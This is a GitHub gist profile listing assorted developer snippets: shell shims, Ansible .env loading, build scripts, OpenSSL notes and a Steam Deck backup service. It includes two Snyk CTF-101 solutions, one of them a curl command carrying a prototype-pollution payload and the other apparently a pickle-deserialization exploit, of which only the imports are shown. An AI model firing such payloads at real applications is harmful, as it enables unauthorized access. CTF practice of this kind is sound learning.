Skip to content

Instantly share code, notes, and snippets.



View GitHub Profile
pythoninthegrass / fp
Last active May 12, 2023 06:08
flatpak shim until they're added to path as expected
View fp
#!/usr/bin/env zsh
# * leading tabs: indent here-document (heredoc)
# * spaces: indent code within heredoc
View ._ Loading variables from .env files in

Loading variables from .env files in Ansible

Ansible has various ways of looking up data from outside sources, including plain text password files, CSV files and INI files. But it doesn't seem to have a lookup for .env files, as used in Laravel projects, also available for PHP, Ruby, Node.js, Python and others.

One option is to launch Ansible with the Ruby dotenv command line script... But that requires Ruby, which seems like overkill to me.

So here is a simpler solution that I use. It consists of:

  1. The .env file itself
  2. A small shell script that loads the .env file into environment variables -
pythoninthegrass / bootstrap
Created April 4, 2023 07:25
Compile known good Citra build on M1 Mac
View bootstrap
#!/usr/bin/env bash
# shellcheck disable=SC2046,SC2155,SC2164
brew install doxygen pkgconfig sdl2 qt5 ffmpeg cmake openssl
brew link --force openssl
pkg-config --modversion openssl
git clone --recursive
cd citra-nightly/
git checkout d380980
pythoninthegrass /
Created March 31, 2023 04:27
Snyk CTF-101: sauerkraut
#!/usr/bin/env python3
# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests
pythoninthegrass /
Created March 31, 2023 04:24
Snyk CTF-101: invisible-ink
# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}'
pythoninthegrass /
Last active February 28, 2023 21:13 — forked from nordineb/readme.MD
multipass + qemu on macOS

multipass + qemu on macOS

Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud


brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo>    # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
pythoninthegrass /
Created January 20, 2023 21:13 — forked from Hakky54/
Some list of openssl commands for check and verify your keys

OpenSSL 🔐


Install the OpenSSL on Debian based systems

sudo apt-get install openssl
pythoninthegrass /
Last active January 19, 2023 00:36
Profile .bashrc
#!/usr/bin/env python
import argparse
import io
import operator
import re
from contextlib import redirect_stderr
from pathlib import Path
pythoninthegrass / backup-saves.service
Last active December 24, 2022 19:16
Backup local Steam Deck save files via ludusavi and rclone
View backup-saves.service
# /usr/lib/systemd/system/backup-saves.service
Description=Run ludusavi then rsync to offsite backup
ExecStart=bash /home/deck/
pythoninthegrass /
Last active November 6, 2022 18:39 — forked from aolle/
Convert Nimbus Notes HTML to Markdown for UpNote
#!/usr/bin/env python3
Extended into a full repo at
Any future work will be posted there.